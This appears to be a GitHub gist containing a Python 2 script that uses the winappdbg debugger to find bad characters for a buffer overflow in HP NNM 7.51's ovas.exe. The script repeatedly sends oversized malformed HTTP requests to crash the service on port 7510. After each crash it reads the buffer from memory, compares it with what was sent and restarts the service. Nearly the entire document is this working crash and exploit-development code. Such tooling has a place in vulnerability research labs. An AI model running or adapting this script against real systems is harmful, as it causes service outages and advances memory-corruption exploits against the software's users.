Created
October 31, 2018 21:28
-
-
Save DanielRTeixeira/381925bdcd9620e89ba17575fa6c6e7c to your computer and use it in GitHub Desktop.
Find bad characters in HP NNM 7.51 with winappdbg
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from winappdbg import * | |
import os, sys, socket, time, threading | |
## Global Vars | |
allchars = ( | |
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13" | |
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26" | |
"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39" | |
"\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c" | |
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" | |
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72" | |
"\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85" | |
"\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98" | |
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab" | |
"\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe" | |
"\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1" | |
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4" | |
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7" | |
"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) | |
counter = -1 | |
badchars = [] | |
goodchars = [] | |
goCrash = False | |
maxc = len(allchars)-1 | |
crash = [] | |
buffer = [] | |
evil = [] | |
processName = 'ovas.exe' | |
rhost = '127.0.0.1' | |
rport = 7510 | |
stop = 'ovstop -c ovas' | |
start = 'ovstart -c ovas' | |
def getBase(path): | |
return os.path.basename(path) | |
def createBuffer(): | |
global counter, crash, buffer, evil | |
crash = "A"*8 + allchars[counter]*92 + "B"*3900 | |
buffer ="GET /topology/homeBaseView HTTP/1.1\r\n" | |
buffer +="Host: %s\r\n" | |
buffer +="Content-Type: application/x-www-form-urlencoded\r\n" | |
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" | |
buffer +="Content-Length: 1048580\r\n\r\n" | |
evil = buffer % crash | |
def createKillBuffer(): | |
global crash, buffer, evil | |
crash = "A"*4000 | |
buffer ="GET /topology/homeBaseView HTTP/1.1\r\n" | |
buffer +="Host: %s\r\n" | |
buffer +="Content-Type: application/x-www-form-urlencoded\r\n" | |
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" | |
buffer +="Content-Length: 1048580\r\n\r\n" | |
evil = buffer % crash | |
def crashService(): | |
"""Crasher function started as an independent thread: sends malformed | |
data to service in order to crash it.""" | |
global goCrash, counter, badchars, goodchars, allchars, maxc, pid, crash, buffer, evil | |
timer = 0 | |
while True: | |
if goCrash: | |
timer = 0 | |
counter += 1 | |
if counter > maxc: | |
print 'bad chars', str(badchars) | |
print 'good chars', str(goodchars) | |
sys.exit() | |
print "Waiting 1 sec before crashing the service..." | |
time.sleep(1) | |
createBuffer() | |
print "[*] Sending evil request to Service." | |
try: | |
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
expl.connect((rhost, rport)) | |
expl.send(evil) | |
expl.close() | |
print "Should be Crashed!" | |
goCrash = False | |
except: | |
print "Exception in sending buffer, Service Down????.." | |
print "Sleeping 5 secs and retrying..." | |
time.sleep(5) | |
else: | |
if timer > 10: | |
print "10 secs passed and no crash?? Probably a bad char avoid a crash" | |
print "Let's crash service and mark last char as a bad char..." | |
createKillBuffer() | |
try: | |
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) | |
expl.connect((rhost, rport)) | |
expl.send(evil) | |
expl.close() | |
print "Should be Crashed!" | |
goCrash = False | |
except: | |
print "Exception in sending buffer, Service Down????.." | |
print "Sleeping 5 secs and retrying..." | |
time.sleep(5) | |
time.sleep(1) | |
timer += 1 | |
return | |
def restartService(): | |
"""Restarts service after a crash""" | |
global pid | |
print "Restarting NNM service..." | |
os.system(stop) | |
os.system(start) | |
return | |
def findBadChars(rawdata, address): | |
"""Compares the buffer sent with the one in memory to see if | |
it has been mangled in order to identify bad characters. | |
Saves results in good.txt and bad.txt""" | |
global goCrash, counter, badchars, goodchars, allchars | |
hexdata = HexDump.hexblock(rawdata, address=address) | |
print "Searching for ", repr(allchars[counter]) + "In buffer\n", hexdata | |
## Sent data must be equal to data in memory: we check the beginning | |
## of the buffer (http://A*8), the whole badchars buffer and some bytes | |
## after bad chars buffer (to avoid characters expansions issues) | |
if rawdata == "http://" + "A"*8 + allchars[counter] * 92 + "B"*8: | |
goodchars.append(allchars[counter]) | |
print repr(allchars[counter]), 'is a good char' | |
print goodchars | |
fp = open('good.txt','w') | |
fp.write(str(goodchars)) | |
fp.close() | |
return | |
else: | |
badchars.append(allchars[counter]) | |
print repr(allchars[counter]), 'is a bad char' | |
print badchars | |
fp = open('bad.txt','w') | |
fp.write(str(badchars)) | |
fp.close() | |
return | |
def exception_handler(event): | |
"""Access Violation Handler function: read data from a | |
pointer on the stack once an AV has been thrown.""" | |
global goCrash, counter, badchars, goodchars, allchars | |
if (event.get_event_code() == win32.EXCEPTION_DEBUG_EVENT and | |
event.get_exception_name() == "EXCEPTION_ACCESS_VIOLATION"): | |
print "Access Violation Caught!" | |
print "Checking bad chars..." | |
## At 0x1C from ESP we find a pointer to our buffer | |
esp_offset = 0x1C | |
## Get the pointer | |
proc = event.get_process() | |
thread = event.get_thread() | |
address = proc.read_uint(thread.get_register('Esp') + esp_offset) | |
print "Buffer location: " + hex(address) | |
## 115 bytes = http://A*8+BADCHARS+B*8 | |
buffer = proc.read(address, 0x73) # reads first 115 bytes | |
findBadChars(buffer, address) | |
event.debug.detach_from_all() | |
return win32.DBG_EXCEPTION_NOT_HANDLED | |
def findPid(): | |
"""Find PID for service""" | |
global processName | |
print "Searching for service PID ..." | |
pid = 0 | |
system = System() | |
for process in system: | |
if getBase(process.fileName) == processName: | |
pid = process.get_pid() | |
return pid | |
if not pid: | |
return False | |
def newDebuggee(pid): | |
"""Create a debugger instance and attach to ovas PID""" | |
print "Attaching debugger to pid: %d" % pid | |
dbg = Debug(exception_handler, bKillOnExit=True) | |
while True: | |
try: | |
if dbg.attach(pid): | |
return dbg | |
else: | |
return False | |
except: | |
"Error in attaching..." | |
time.sleep(1) | |
if __name__ == '__main__': | |
global pid | |
oldpid = 0 | |
## Create crasher thread | |
crash_thread = threading.Thread(target=crashService) | |
crash_thread.setDaemon(0) | |
crash_thread.start() | |
os.system(start) | |
## main loop | |
while True: | |
print "oldpid ", oldpid | |
pid = 0 | |
while not pid: | |
pid = findPid() | |
if pid == oldpid: | |
system = System() | |
for process in System(): | |
if process.get_pid() == pid: | |
print process.get_pid() | |
process.kill() | |
pid == 0 | |
else: | |
oldpid = pid | |
time.sleep(2) | |
dbg = newDebuggee(pid) | |
if dbg: | |
goCrash = True | |
dbg.loop() | |
else: | |
print "Can't attach, exiting..." | |
sys.exit() | |
restartService() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment